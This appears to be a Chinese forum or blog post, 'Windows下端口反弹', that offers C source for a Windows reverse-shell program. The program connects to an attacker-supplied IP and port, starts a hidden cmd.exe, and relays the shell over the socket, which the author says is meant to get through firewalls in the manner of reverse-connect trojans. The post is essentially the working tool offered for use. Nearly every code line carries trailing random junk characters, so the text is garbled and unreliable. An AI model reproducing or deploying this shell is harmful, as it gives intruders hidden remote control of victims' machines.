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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4m[C-NB!g  
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/* ============================== JX$NEq(  
Rebound port in Windows NT (g2r\hI  
By wind,2006/7 NF(IF.8G  
===============================*/ XAxI?y[c  
#include )/ T$H|  
#include S Y>,kwHO  
~K$"PK s3  
#pragma comment(lib,"wsock32.lib") 7  cP[o+  
vJAAAS  
void OutputShell(); 1S]gD&V  
SOCKET sClient; IH5} Az  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '7LJuMp$#  
~7 L)n  
void main(int argc,char **argv) UEQ'D9  
{ ~eOj:H  
WSADATA stWsaData; ;E?  hz  
int nRet; DEp%\sj?  
SOCKADDR_IN stSaiClient,stSaiServer; lJ]\  
4OZ5hH h  
if(argc != 3) mx(%tz^t  
{ 2|H91Y2  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9eN2)a/  
return; o- QG& ]  
} K!D!b'|bb  
!0csNg!  
WSAStartup(MAKEWORD(2,2),&stWsaData); R{xyme@"^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VfA5r`^  
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stSaiClient.sin_family = AF_INET; w H_n$w  
stSaiClient.sin_port = htons(0); iraRB~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -=t3O#  
1QF*e'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IL[|CB1v  
{ E%\7Uo-  
printf("Bind Socket Failed!\n"); EfBVu  
return; !k= 0X\5L  
} azDC'.3{p  
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stSaiServer.sin_family = AF_INET; n:^"[Le  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zhX`~){N6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HMS9y%zl/  
& A9A#It  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #C,f/PXfaB  
{ bu"68A;>  
printf("Connect Error!"); 3 +8"  
return; ,+f0cv4  
} ZYA.1VrM  
OutputShell(); 7=p-A _X  
} m!#)JFe67  
M$]O=2h+2  
void OutputShell() B`?N0t%X  
{ rv%ye H  
char szBuff[1024]; C=dx4U~   
SECURITY_ATTRIBUTES stSecurityAttributes; *n*N|6 +  
OSVERSIONINFO stOsversionInfo; PZ!dn%4jy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #?$'nya*u  
STARTUPINFO stStartupInfo; X# kjt )W  
char *szShell; ZP6 3Alt  
PROCESS_INFORMATION stProcessInformation; u_6BHsU  
unsigned long lBytesRead; _+Jf.n20  
|1QbO`f/F  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dp[w?AMhM9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Id.Z[owC`Y  
stSecurityAttributes.lpSecurityDescriptor = 0; rxy{a  
stSecurityAttributes.bInheritHandle = TRUE; lR@i`)'?U  
$nfBv f  
-wf RR>)d  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); io9xI3{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 16[-3cJ T  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^QXw[th!d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zOiY0`=  
stStartupInfo.wShowWindow = SW_HIDE; JwI`"$ > w  
stStartupInfo.hStdInput = hReadPipe; ;la#Vf:]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s7.p$r  
L'\/)!cEd  
GetVersionEx(&stOsversionInfo); 8R)D! 7[l  
3m43nJ.~  
switch(stOsversionInfo.dwPlatformId) s?@)a,C%k  
{ <nb3~z1  
case 1: $p0 /6c  
szShell = "command.com"; vlPl(F1  
break; FV^4   
default: 0 .FHdJ<  
szShell = "cmd.exe"; 1~R$$P11[9  
break; R*Xu( 89  
} sMz^!RX@  
Pn+IJ=0Y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &'huS?g A9  
U50s!Z t45  
send(sClient,szMsg,77,0); $/, BJ/9  
while(1) 0E?s>-b  
{ 62MRI    
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @QVqpE<|  
if(lBytesRead) y7M:b Uh  
{ ?y>Y$-v/C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `\/toddUh[  
send(sClient,szBuff,lBytesRead,0); Y(hW(bd;  
} l- 1]w$ y  
else $*AC>i\  
{ ol$2sI=.s  
lBytesRead=recv(sClient,szBuff,1024,0); GJIWG&C03  
if(lBytesRead<=0) break; %_b^!FR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {*?sVAvj  
} R,x>$n  
} SLJ&{`"7  
'9*5-iO  
return; Q5p+W  
}
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